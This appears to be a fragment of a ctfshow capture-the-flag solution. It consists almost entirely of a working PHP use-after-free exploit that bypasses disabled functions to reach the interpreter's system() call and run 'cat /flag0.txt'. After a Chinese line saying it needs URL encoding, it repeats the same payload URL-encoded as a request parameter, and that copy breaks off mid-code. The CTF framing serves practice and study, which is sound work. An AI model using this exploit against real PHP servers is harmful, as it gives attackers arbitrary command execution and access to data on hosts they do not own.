1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 <?php function ctfshow ($cmd ) { global $abc , $helper , $backtrace ; class Vuln { public $a ; public function __destruct ( ) { global $backtrace ; unset ($this ->a); $backtrace = (new Exception )->getTrace (); if (!isset ($backtrace [1 ]['args' ])) { $backtrace = debug_backtrace (); } } } class Helper { public $a , $b , $c , $d ; } function str2ptr (&$str , $p = 0 , $s = 8 ) { $address = 0 ; for ($j = $s -1 ; $j >= 0 ; $j --) { $address <<= 8 ; $address |= ord ($str [$p +$j ]); } return $address ; } function ptr2str ($ptr , $m = 8 ) { $out = "" ; for ($i =0 ; $i < $m ; $i ++) { $out .= sprintf ("%c" ,($ptr & 0xff )); $ptr >>= 8 ; } return $out ; } function write (&$str , $p , $v , $n = 8 ) { $i = 0 ; for ($i = 0 ; $i < $n ; $i ++) { $str [$p + $i ] = sprintf ("%c" ,($v & 0xff )); $v >>= 8 ; } } function leak ($addr , $p = 0 , $s = 8 ) { global $abc , $helper ; write ($abc , 0x68 , $addr + $p - 0x10 ); $leak = strlen ($helper ->a); if ($s != 8 ) { $leak %= 2 << ($s * 8 ) - 1 ; } return $leak ; } function parse_elf ($base ) { $e_type = leak ($base , 0x10 , 2 ); $e_phoff = leak ($base , 0x20 ); $e_phentsize = leak ($base , 0x36 , 2 ); $e_phnum = leak ($base , 0x38 , 2 ); for ($i = 0 ; $i < $e_phnum ; $i ++) { $header = $base + $e_phoff + $i * $e_phentsize ; $p_type = leak ($header , 0 , 4 ); $p_flags = leak ($header , 4 , 4 ); $p_vaddr = leak ($header , 0x10 ); $p_memsz = leak ($header , 0x28 ); if ($p_type == 1 && $p_flags == 6 ) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr ; $data_size = $p_memsz ; } else if ($p_type == 1 && $p_flags == 5 ) { $text_size = $p_memsz ; } } if (!$data_addr || !$text_size || !$data_size ) return false ; return [$data_addr , $text_size , $data_size ]; } function get_basic_funcs ($base , $elf ) { list ($data_addr , $text_size , $data_size ) = $elf ; for ($i = 0 ; $i < $data_size / 8 ; $i ++) { $leak = leak ($data_addr , $i * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x746e6174736e6f63 ) continue ; } else continue ; $leak = leak ($data_addr , ($i + 4 ) * 8 ); if ($leak - $base > 0 && $leak - $base < $data_addr - $base ) { $deref = leak ($leak ); if ($deref != 0x786568326e6962 ) continue ; } else continue ; return $data_addr + $i * 8 ; } } function get_binary_base ($binary_leak ) { $base = 0 ; $start = $binary_leak & 0xfffffffffffff000 ; for ($i = 0 ; $i < 0x1000 ; $i ++) { $addr = $start - 0x1000 * $i ; $leak = leak ($addr , 0 , 7 ); if ($leak == 0x10102464c457f ) { return $addr ; } } } function get_system ($basic_funcs ) { $addr = $basic_funcs ; do { $f_entry = leak ($addr ); $f_name = leak ($f_entry , 0 , 6 ); if ($f_name == 0x6d6574737973 ) { return leak ($addr + 8 ); } $addr += 0x20 ; } while ($f_entry != 0 ); return false ; } function trigger_uaf ($arg ) { $arg = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); $vuln = new Vuln (); $vuln ->a = $arg ; } if (stristr (PHP_OS, 'WIN' )) { die ('This PoC is for *nix systems only.' ); } $n_alloc = 10 ; $contiguous = []; for ($i = 0 ; $i < $n_alloc ; $i ++) $contiguous [] = str_shuffle ('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' ); trigger_uaf ('x' ); $abc = $backtrace [1 ]['args' ][0 ]; $helper = new Helper ; $helper ->b = function ($x ) { }; if (strlen ($abc ) == 79 || strlen ($abc ) == 0 ) { die ("UAF failed" ); } $closure_handlers = str2ptr ($abc , 0 ); $php_heap = str2ptr ($abc , 0x58 ); $abc_addr = $php_heap - 0xc8 ; write ($abc , 0x60 , 2 ); write ($abc , 0x70 , 6 ); write ($abc , 0x10 , $abc_addr + 0x60 ); write ($abc , 0x18 , 0xa ); $closure_obj = str2ptr ($abc , 0x20 ); $binary_leak = leak ($closure_handlers , 8 ); if (!($base = get_binary_base ($binary_leak ))) { die ("Couldn't determine binary base address" ); } if (!($elf = parse_elf ($base ))) { die ("Couldn't parse ELF header" ); } if (!($basic_funcs = get_basic_funcs ($base , $elf ))) { die ("Couldn't get basic_functions address" ); } if (!($zif_system = get_system ($basic_funcs ))) { die ("Couldn't get zif_system address" ); } $fake_obj_offset = 0xd0 ; for ($i = 0 ; $i < 0x110 ; $i += 8 ) { write ($abc , $fake_obj_offset + $i , leak ($closure_obj , $i )); } write ($abc , 0x20 , $abc_addr + $fake_obj_offset ); write ($abc , 0xd0 + 0x38 , 1 , 4 ); write ($abc , 0xd0 + 0x68 , $zif_system ); ($helper ->b)($cmd ); exit (); } ctfshow ("cat /flag0.txt" );ob_end_flush ();?>
需要url编码
1 c=%66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %63 %74 %66 %73 %68 %6 f%77 %28 %24 %63 %6 d%64 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %67 %6 c%6 f%62 %61 %6 c%20 %24 %61 %62 %63 %2 c%20 %24 %68 %65 %6 c%70 %65 %72 %2 c%20 %24 %62 %61 %63 %6 b%74 %72 %61 %63 %65 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %63 %6 c%61 %73 %73 %20 %56 %75 %6 c%6 e%20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %70 %75 %62 %6 c%69 %63 %20 %24 %61 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %70 %75 %62 %6 c%69 %63 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %5 f%5 f%64 %65 %73 %74 %72 %75 %63 %74 %28 %29 %20 %7 b%20 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %67 %6 c%6 f%62 %61 %6 c%20 %24 %62 %61 %63 %6 b%74 %72 %61 %63 %65 %3 b%20 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %75 %6 e%73 %65 %74 %28 %24 %74 %68 %69 %73 %2 d%3 e%61 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %62 %61 %63 %6 b%74 %72 %61 %63 %65 %20 %3 d%20 %28 %6 e%65 %77 %20 %45 %78 %63 %65 %70 %74 %69 %6 f%6 e%29 %2 d%3 e%67 %65 %74 %54 %72 %61 %63 %65 %28 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %21 %69 %73 %73 %65 %74 %28 %24 %62 %61 %63 %6 b%74 %72 %61 %63 %65 %5 b%31 %5 d%5 b%27 %61 %72 %67 %73 %27 %5 d%29 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %62 %61 %63 %6 b%74 %72 %61 %63 %65 %20 %3 d%20 %64 %65 %62 %75 %67 %5 f%62 %61 %63 %6 b%74 %72 %61 %63 %65 %28 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %63 %6 c%61 %73 %73 %20 %48 %65 %6 c%70 %65 %72 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %70 %75 %62 %6 c%69 %63 %20 %24 %61 %2 c%20 %24 %62 %2 c%20 %24 %63 %2 c%20 %24 %64 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %73 %74 %72 %32 %70 %74 %72 %28 %26 %24 %73 %74 %72 %2 c%20 %24 %70 %20 %3 d%20 %30 %2 c%20 %24 %73 %20 %3 d%20 %38 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %61 %64 %64 %72 %65 %73 %73 %20 %3 d%20 %30 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %66 %6 f%72 %28 %24 %6 a%20 %3 d%20 %24 %73 %2 d%31 %3 b%20 %24 %6 a%20 %3 e%3 d%20 %30 %3 b%20 %24 %6 a%2 d%2 d%29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %61 %64 %64 %72 %65 %73 %73 %20 %3 c%3 c%3 d%20 %38 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %61 %64 %64 %72 %65 %73 %73 %20 %7 c%3 d%20 %6 f%72 %64 %28 %24 %73 %74 %72 %5 b%24 %70 %2 b%24 %6 a%5 d%29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %24 %61 %64 %64 %72 %65 %73 %73 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %70 %74 %72 %32 %73 %74 %72 %28 %24 %70 %74 %72 %2 c%20 %24 %6 d%20 %3 d%20 %38 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %6 f%75 %74 %20 %3 d%20 %22 %22 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %66 %6 f%72 %20 %28 %24 %69 %3 d%30 %3 b%20 %24 %69 %20 %3 c%20 %24 %6 d%3 b%20 %24 %69 %2 b%2 b%29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %6 f%75 %74 %20 %2 e%3 d%20 %73 %70 %72 %69 %6 e%74 %66 %28 %22 %25 %63 %22 %2 c%28 %24 %70 %74 %72 %20 %26 %20 %30 %78 %66 %66 %29 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %70 %74 %72 %20 %3 e%3 e%3 d%20 %38 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %24 %6 f%75 %74 %3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %77 %72 %69 %74 %65 %28 %26 %24 %73 %74 %72 %2 c%20 %24 %70 %2 c%20 %24 %76 %2 c%20 %24 %6 e%20 %3 d%20 %38 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %69 %20 %3 d%20 %30 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %66 %6 f%72 %28 %24 %69 %20 %3 d%20 %30 %3 b%20 %24 %69 %20 %3 c%20 %24 %6 e%3 b%20 %24 %69 %2 b%2 b%29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %73 %74 %72 %5 b%24 %70 %20 %2 b%20 %24 %69 %5 d%20 %3 d%20 %73 %70 %72 %69 %6 e%74 %66 %28 %22 %25 %63 %22 %2 c%28 %24 %76 %20 %26 %20 %30 %78 %66 %66 %29 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %76 %20 %3 e%3 e%3 d%20 %38 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %6 c%65 %61 %6 b%28 %24 %61 %64 %64 %72 %2 c%20 %24 %70 %20 %3 d%20 %30 %2 c%20 %24 %73 %20 %3 d%20 %38 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %67 %6 c%6 f%62 %61 %6 c%20 %24 %61 %62 %63 %2 c%20 %24 %68 %65 %6 c%70 %65 %72 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %77 %72 %69 %74 %65 %28 %24 %61 %62 %63 %2 c%20 %30 %78 %36 %38 %2 c%20 %24 %61 %64 %64 %72 %20 %2 b%20 %24 %70 %20 %2 d%20 %30 %78 %31 %30 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %6 c%65 %61 %6 b%20 %3 d%20 %73 %74 %72 %6 c%65 %6 e%28 %24 %68 %65 %6 c%70 %65 %72 %2 d%3 e%61 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %73 %20 %21 %3 d%20 %38 %29 %20 %7 b%20 %24 %6 c%65 %61 %6 b%20 %25 %3 d%20 %32 %20 %3 c%3 c%20 %28 %24 %73 %20 %2 a%20 %38 %29 %20 %2 d%20 %31 %3 b%20 %7 d%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %24 %6 c%65 %61 %6 b%3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %70 %61 %72 %73 %65 %5 f%65 %6 c%66 %28 %24 %62 %61 %73 %65 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %65 %5 f%74 %79 %70 %65 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %62 %61 %73 %65 %2 c%20 %30 %78 %31 %30 %2 c%20 %32 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %65 %5 f%70 %68 %6 f%66 %66 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %62 %61 %73 %65 %2 c%20 %30 %78 %32 %30 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %65 %5 f%70 %68 %65 %6 e%74 %73 %69 %7 a%65 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %62 %61 %73 %65 %2 c%20 %30 %78 %33 %36 %2 c%20 %32 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %65 %5 f%70 %68 %6 e%75 %6 d%20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %62 %61 %73 %65 %2 c%20 %30 %78 %33 %38 %2 c%20 %32 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %66 %6 f%72 %28 %24 %69 %20 %3 d%20 %30 %3 b%20 %24 %69 %20 %3 c%20 %24 %65 %5 f%70 %68 %6 e%75 %6 d%3 b%20 %24 %69 %2 b%2 b%29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %68 %65 %61 %64 %65 %72 %20 %3 d%20 %24 %62 %61 %73 %65 %20 %2 b%20 %24 %65 %5 f%70 %68 %6 f%66 %66 %20 %2 b%20 %24 %69 %20 %2 a%20 %24 %65 %5 f%70 %68 %65 %6 e%74 %73 %69 %7 a%65 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %70 %5 f%74 %79 %70 %65 %20 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %68 %65 %61 %64 %65 %72 %2 c%20 %30 %2 c%20 %34 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %70 %5 f%66 %6 c%61 %67 %73 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %68 %65 %61 %64 %65 %72 %2 c%20 %34 %2 c%20 %34 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %70 %5 f%76 %61 %64 %64 %72 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %68 %65 %61 %64 %65 %72 %2 c%20 %30 %78 %31 %30 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %70 %5 f%6 d%65 %6 d%73 %7 a%20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %68 %65 %61 %64 %65 %72 %2 c%20 %30 %78 %32 %38 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %70 %5 f%74 %79 %70 %65 %20 %3 d%3 d%20 %31 %20 %26 %26 %20 %24 %70 %5 f%66 %6 c%61 %67 %73 %20 %3 d%3 d%20 %36 %29 %20 %7 b%20 %0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %20 %3 d%20 %24 %65 %5 f%74 %79 %70 %65 %20 %3 d%3 d%20 %32 %20 %3 f%20 %24 %70 %5 f%76 %61 %64 %64 %72 %20 %3 a%20 %24 %62 %61 %73 %65 %20 %2 b%20 %24 %70 %5 f%76 %61 %64 %64 %72 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %64 %61 %74 %61 %5 f%73 %69 %7 a%65 %20 %3 d%20 %24 %70 %5 f%6 d%65 %6 d%73 %7 a%3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %7 d%20 %65 %6 c%73 %65 %20 %69 %66 %28 %24 %70 %5 f%74 %79 %70 %65 %20 %3 d%3 d%20 %31 %20 %26 %26 %20 %24 %70 %5 f%66 %6 c%61 %67 %73 %20 %3 d%3 d%20 %35 %29 %20 %7 b%20 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %74 %65 %78 %74 %5 f%73 %69 %7 a%65 %20 %3 d%20 %24 %70 %5 f%6 d%65 %6 d%73 %7 a%3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %21 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %20 %7 c%7 c%20 %21 %24 %74 %65 %78 %74 %5 f%73 %69 %7 a%65 %20 %7 c%7 c%20 %21 %24 %64 %61 %74 %61 %5 f%73 %69 %7 a%65 %29 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %66 %61 %6 c%73 %65 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %5 b%24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %2 c%20 %24 %74 %65 %78 %74 %5 f%73 %69 %7 a%65 %2 c%20 %24 %64 %61 %74 %61 %5 f%73 %69 %7 a%65 %5 d%3 b%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %67 %65 %74 %5 f%62 %61 %73 %69 %63 %5 f%66 %75 %6 e%63 %73 %28 %24 %62 %61 %73 %65 %2 c%20 %24 %65 %6 c%66 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %6 c%69 %73 %74 %28 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %2 c%20 %24 %74 %65 %78 %74 %5 f%73 %69 %7 a%65 %2 c%20 %24 %64 %61 %74 %61 %5 f%73 %69 %7 a%65 %29 %20 %3 d%20 %24 %65 %6 c%66 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %66 %6 f%72 %28 %24 %69 %20 %3 d%20 %30 %3 b%20 %24 %69 %20 %3 c%20 %24 %64 %61 %74 %61 %5 f%73 %69 %7 a%65 %20 %2 f%20 %38 %3 b%20 %24 %69 %2 b%2 b%29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %6 c%65 %61 %6 b%20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %2 c%20 %24 %69 %20 %2 a%20 %38 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %6 c%65 %61 %6 b%20 %2 d%20 %24 %62 %61 %73 %65 %20 %3 e%20 %30 %20 %26 %26 %20 %24 %6 c%65 %61 %6 b%20 %2 d%20 %24 %62 %61 %73 %65 %20 %3 c%20 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %20 %2 d%20 %24 %62 %61 %73 %65 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %64 %65 %72 %65 %66 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %6 c%65 %61 %6 b%29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %64 %65 %72 %65 %66 %20 %21 %3 d%20 %30 %78 %37 %34 %36 %65 %36 %31 %37 %34 %37 %33 %36 %65 %36 %66 %36 %33 %29 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %63 %6 f%6 e%74 %69 %6 e%75 %65 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %7 d%20 %65 %6 c%73 %65 %20 %63 %6 f%6 e%74 %69 %6 e%75 %65 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %6 c%65 %61 %6 b%20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %2 c%20 %28 %24 %69 %20 %2 b%20 %34 %29 %20 %2 a%20 %38 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %6 c%65 %61 %6 b%20 %2 d%20 %24 %62 %61 %73 %65 %20 %3 e%20 %30 %20 %26 %26 %20 %24 %6 c%65 %61 %6 b%20 %2 d%20 %24 %62 %61 %73 %65 %20 %3 c%20 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %20 %2 d%20 %24 %62 %61 %73 %65 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %64 %65 %72 %65 %66 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %6 c%65 %61 %6 b%29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %64 %65 %72 %65 %66 %20 %21 %3 d%20 %30 %78 %37 %38 %36 %35 %36 %38 %33 %32 %36 %65 %36 %39 %36 %32 %29 %0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %63 %6 f%6 e%74 %69 %6 e%75 %65 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %7 d%20 %65 %6 c%73 %65 %20 %63 %6 f%6 e%74 %69 %6 e%75 %65 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %24 %64 %61 %74 %61 %5 f%61 %64 %64 %72 %20 %2 b%20 %24 %69 %20 %2 a%20 %38 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %67 %65 %74 %5 f%62 %69 %6 e%61 %72 %79 %5 f%62 %61 %73 %65 %28 %24 %62 %69 %6 e%61 %72 %79 %5 f%6 c%65 %61 %6 b%29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %62 %61 %73 %65 %20 %3 d%20 %30 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %73 %74 %61 %72 %74 %20 %3 d%20 %24 %62 %69 %6 e%61 %72 %79 %5 f%6 c%65 %61 %6 b%20 %26 %20 %30 %78 %66 %66 %66 %66 %66 %66 %66 %66 %66 %66 %66 %66 %66 %30 %30 %30 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %66 %6 f%72 %28 %24 %69 %20 %3 d%20 %30 %3 b%20 %24 %69 %20 %3 c%20 %30 %78 %31 %30 %30 %30 %3 b%20 %24 %69 %2 b%2 b%29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %61 %64 %64 %72 %20 %3 d%20 %24 %73 %74 %61 %72 %74 %20 %2 d%20 %30 %78 %31 %30 %30 %30 %20 %2 a%20 %24 %69 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %6 c%65 %61 %6 b%20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %61 %64 %64 %72 %2 c%20 %30 %2 c%20 %37 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %6 c%65 %61 %6 b%20 %3 d%3 d%20 %30 %78 %31 %30 %31 %30 %32 %34 %36 %34 %63 %34 %35 %37 %66 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %24 %61 %64 %64 %72 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %7 d%0 d%0 a%0 d%0 a%20 %20 %20 %20 %66 %75 %6 e%63 %74 %69 %6 f%6 e%20 %67 %65 %74 %5 f%73 %79 %73 %74 %65 %6 d%28 %24 %62 %61 %73 %69 %63 %5 f%66 %75 %6 e%63 %73 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %24 %61 %64 %64 %72 %20 %3 d%20 %24 %62 %61 %73 %69 %63 %5 f%66 %75 %6 e%63 %73 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %64 %6 f%20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %66 %5 f%65 %6 e%74 %72 %79 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %61 %64 %64 %72 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %66 %5 f%6 e%61 %6 d%65 %20 %3 d%20 %6 c%65 %61 %6 b%28 %24 %66 %5 f%65 %6 e%74 %72 %79 %2 c%20 %30 %2 c%20 %36 %29 %3 b%0 d%0 a%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %69 %66 %28 %24 %66 %5 f%6 e%61 %6 d%65 %20 %3 d%3 d%20 %30 %78 %36 %64 %36 %35 %37 %34 %37 %33 %37 %39 %37 %33 %29 %20 %7 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %72 %65 %74 %75 %72 %6 e%20 %6 c%65 %61 %6 b%28 %24 %61 %64 %64 %72 %20 %2 b%20 %38 %29 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %7 d%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %20 %24 %61 %64 %64 %72 %20 %2 b%3 d%20 %30 %78 %32 %30 %3 b%0 d%0 a%20 %20 %20 %20 %20 %20 %20 %20 %7 d%20 %77 %68 %69 %6 c%65 